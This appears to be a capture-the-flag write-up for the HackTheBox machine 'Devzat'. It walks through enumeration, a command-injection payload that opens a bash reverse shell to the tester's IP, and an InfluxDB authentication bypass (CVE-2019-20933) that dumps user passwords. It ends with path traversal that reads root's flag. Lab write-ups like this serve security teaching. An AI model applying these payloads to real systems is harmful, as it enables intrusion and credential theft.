Devzat - [HTB]
Table of Contents
Introduction
Devzat is a easy-medium machine from HackTheBox that requires folder and subdomain enumeration, code analysis, influxdb knowledge, path traversal and CVE exploitation.
Enumeration
As always, let's start finding all opened ports in the machine with nmap.
kali@kali:~/Documents/HTB/Devzat$ sudo nmap -v -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.118
Nmap scan report for 10.10.11.118
Host is up (0.12s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Oct 17 05:42:57 2021 -- 1 IP address (1 host up) scanned in 199.78 seconds
Then, we continue with a deeper scan of every opened port getting more information about each service.
kali@kali:~/Documents/HTB/Devzat$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80,8000 10.10.11.118
Nmap scan report for 10.10.11.118
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
| 256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_ 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://devzat.htb/
8000/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
| ssh-hostkey:
|_ 3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.91%I=7%D=10/17%Time=616BF069%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
As we can see above, nmap has obtained the domain devzat.htb
that once added to /etc/hosts
we can see how to access to an IRC chat on port 8000.
Furthermore, we can use the username in the contact section for accessing the chat. This will provide us a chat with an administrator letting us know that an influxdb database exist somewhere in the machine.
kali@kali:~/Documents/HTB/Devzat$ ssh -l patrick devzat.htb -p 8000
Nickname reserved for local use, please choose a different one.
> Patrick
admin: Hey patrick, you there?
patrick: Sure, shoot boss!
admin: So I setup the influxdb for you as we discussed earlier in business meeting.
patrick: Cool 👍
admin: Be sure to check it out and see if it works for you, will ya?
patrick: Yes, sure. Am on it!
devbot: admin has left the chat
Welcome to the chat. There are no more users
devbot: Patrick has joined the chat
Enumerating subdomains with ffuz we obtain the subdomain pets.devzat.htb
.
kali@kali:~/Documents/HTB/Devzat$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://devzat.htb/ -H "Host: FUZZ.devzat.htb" -fl 10
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1
________________________________________________
:: Method : GET
:: URL : http://devzat.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.devzat.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response lines: 10
________________________________________________
pets [Status: 200, Size: 510, Words: 20, Lines: 21]
:: Progress: [114441/114441] :: Job [1/1] :: 319 req/sec :: Duration: [0:06:03] :: Errors: 0 ::
This new web page is a simple Pet Inventory where we can add a new pet sending its name and specie.
Enumerating its folders appears a .git
, hence we can download its source code.
kali@kali:~/Documents/HTB/Devzat$ ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -t 60 -u http://pets.devzat.htb/FUZZ -o ffuzPets.txt -fl 21
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1
________________________________________________
:: Method : GET
:: URL : http://pets.devzat.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
:: Output file : ffuzPets.txt
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 60
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response lines: 21
________________________________________________
css [Status: 301, Size: 40, Words: 3, Lines: 3]
build [Status: 301, Size: 42, Words: 3, Lines: 3]
server-status [Status: 403, Size: 280, Words: 20, Lines: 10]
.git [Status: 301, Size: 41, Words: 3, Lines: 3]
:: Progress: [43003/43003] :: Job [1/1] :: 477 req/sec :: Duration: [0:01:32] :: Errors: 0 ::
kali@kali:~/Documents/HTB/Devzat$
For doing so we can use git-dumper.
kali@kali:~/Documents/HTB/Devzat$ git-dumper http://pets.devzat.htb/.git pets
[...]
Analysing the file main.go
, we can see that when a new pet is added it is executing a bash command passing the specie as a parameter.
func addPet(w http.ResponseWriter, r *http.Request) {
reqBody, _ := ioutil.ReadAll(r.Body)
var addPet Pet
err := json.Unmarshal(reqBody, &addPet)
if err != nil {
e := fmt.Sprintf("There has been an error: %+v", err)
http.Error(w, e, http.StatusBadRequest)
return
}
addPet.Characteristics = loadCharacter(addPet.Species)
Pets = append(Pets, addPet)
w.WriteHeader(http.StatusOK)
fmt.Fprint(w, "Pet was added successfully")
}
func loadCharacter(species string) string {
cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
stdoutStderr, err := cmd.CombinedOutput()
if err != nil {
return err.Error()
}
return string(stdoutStderr)
}
If we intercept the request, we can send the following payload obtaining a reverse shell as Patrick.
POST /api/pet HTTP/1.1
Host: pets.devzat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://pets.devzat.htb/api/
Content-Type: text/plain;charset=UTF-8
Origin: http://pets.devzat.htb
Content-Length: 99
Connection: close
{"name":"Marmeus","species":"$(bash -c 'bash -i >& /dev/tcp/10.10.15.118/4444 0>&1')"}
Privilege Escalation 1
Looking for listening ports we can see that the port 8086 is opened, which uses influxdb by default.
patrick@devzat:~$ netstat -pluton
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Timer
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:8086 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN 938/./petshop off (0.00/0/0)
[...]
We can do port forwarding with SSH using patrick's ssh private key.
Note: Because there isn't netcat, you can download it by coping the key into the web server directory /var/www/html/assets/
and changing its permissions.
kali@kali:~/Documents/HTB/Devzat$ ssh -i patrick.key patrick@devzat.htb -L localhost:8086:localhost:8086
However, we need some credentials in order to access to the database.
kali@kali:~/Documents/HTB/Devzat/pets$ curl -G http://localhost:8086/query
{"error":"unable to parse authentication credentials"}
Nonetheless, influxdb has an associated vulnerability (CVE-2019-20933) which allow bypassing the login. Plus, exist a working exploit for this particular vulnerability.
kali@kali:~/Documents/HTB/Devzat/InfluxDB-Exploit-CVE-2019-20933$ python3 __main__.py
_____ __ _ _____ ____ ______ _ _ _
|_ _| / _| | | __ \| _ \ | ____| | | (_) |
| | _ __ | |_| |_ ___ __ | | | |_) | | |__ __ ___ __ | | ___ _| |_
| | | '_ \| _| | | | \ \/ / | | | _ < | __| \ \/ / '_ \| |/ _ \| | __|
_| |_| | | | | | | |_| |> <| |__| | |_) | | |____ > <| |_) | | (_) | | |_
|_____|_| |_|_| |_|\__,_/_/\_\_____/|____/ |______/_/\_\ .__/|_|\___/|_|\__|
| |
|_|
CVE-2019-20933
Insert ip host (default localhost):
Insert port (default 8086):
Insert influxdb user (wordlist path to bruteforce username): admin
Host vulnerable !!!
Databases list:
1) devzat
2) _internal
Insert database name (exit to close): devzat
Looking, at the documentation we can retrieve the contents of the devzat database.
[devzat] Insert query (exit to change db): show series
{
"results": [
{
"series": [
{
"columns": [
"key"
],
"values": [
[
"user"
]
]
}
],
"statement_id": 0
}
]
}
[devzat] Insert query (exit to change db): SELECT * FROM "user"
{
"results": [
{
"series": [
{
"columns": [
"time",
"enabled",
"password",
"username"
],
"name": "user",
"values": [
[
"2021-06-22T20:04:16.313965493Z",
false,
"WillyWonka2021",
"wilhelm"
],
[
"2021-06-22T20:04:16.320782034Z",
true,
"woBeeYareedahc7Oogeephies7Aiseci",
"catherine"
],
[
"2021-06-22T20:04:16.996682002Z",
true,
"RoyalQueenBee$",
"charles"
]
]
}
Between all the users, we get catherine's credentials obtaining the user flag.
patrick@devzat:/tmp$ su catherine
Password: woBeeYareedahc7Oogeephies7Aiseci
catherine@devzat:/tmp$ cd
catherine@devzat:~$ cat user.txt
[CENSORED]
Privilege Escalation 2
Now, if we access to the IRC server as catherine once we are inside the machine; we obtain the following chat with patrick.
catherine@devzat:/tmp$ ssh -l catherine localhost -p 8000
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍 You'll need a password I gave you last time.
catherine: k
patrick: I left the source for your review in backups.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: catherine has joined the chat
Looking for those backups we can obtain patrick's password.
catherine@devzat:~$ find / -type f -user catherine -or -group catherine 2>/dev/null
[...]
/var/backups/devzat-main.zip
/var/backups/devzat-dev.zip
catherine@devzat:~$ cd /tmp/
catherine@devzat:/tmp$ unzip /var/backups/devzat-main.zip
catherine@devzat:/tmp$ unzip /var/backups/devzat-dev.zip
catherine@devzat:/tmp$ diff -R main/ dev
diff -r main/commands.go dev/commands.go
> file = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}
[...]
>
> func fileCommand(u *user, args []string) {
> if len(args) < 1 {
> u.system("Please provide file to print and the password") [...]
> // Check my secure password
> if pass != "CeilingCatStillAThingIn2021?" {
> u.system("You did provide the wrong password")
> return
> }
[...]
diff -r main/devchat.go dev/devchat.go
27c27
< port = 8000
---
> port = 8443
114c114
Moreover, we can see that the dev server has a new command and it is listening on port 8443 which is being executed by root.
patrick@devzat:~$ ps aux | grep devchat
root 915 0.0 0.6 1159648 12212 ? Sl 00:58 0:00 ./devchat
patrick 937 0.0 0.5 1159648 11852 ? Sl 00:58 0:00 ./devchat
patrick 252830 0.0 0.0 6432 672 pts/0 S+ 19:59 0:00 grep --color=auto devchat
Analysing, its code we can see that the file command is vulnerable to path traversal allowing us to retrieve the root's flag.
catherine@devzat:/tmp$ cat dev/commands.go
// Get CWD
cwd, err := os.Getwd()
if err != nil {
u.system(err.Error())
}
// Construct path to print
printPath := filepath.Join(cwd, path)
// Check if file exists
if _, err := os.Stat(printPath); err == nil {
// exists, print
file, err := os.Open(printPath)
if err != nil {
u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
return
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
u.system(scanner.Text())
}
At first we can not access to the server because we need some public key, but this can be resolved quickly by generating a new one.
catherine@devzat:~$ ssh -l marmeus localhost 8443
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:0rsaIiCqLD9ELa+kVyYB1zoufcsvYtVR7QKaYzUyC0Q.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
marmeus@localhost: Permission denied (publickey).
catherine@devzat:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/catherine/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/catherine/.ssh/id_rsa
Your public key has been saved in /home/catherine/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:3iKHsiHe1bS3NNGqfncK3wvDpVLu1r5iYIqNyN2arGE catherine@devzat
The key's randomart image is:
+---[RSA 3072]----+
| |
| |
| |
| . |
| S . o . |
| = oo* o |
| ..Eo+=*oO.*. |
| . +oB+++=.B=+o |
| . +.+oo..++==o |
+----[SHA256]-----+
Finally, accessing once again and executing the new command we can obtain the root flag.
catherine@devzat:~$ ssh -l marmeus localhost -p 8443
Warning: Permanently added '[localhost]:8443' (ED25519) to the list of known hosts.
Welcome to the chat. There are no more users
devbot: marmeus has joined the chat
marmeus: /file ../../../../../root/root.txt CeilingCatStillAThingIn2021?
[SYSTEM] [CENSORED]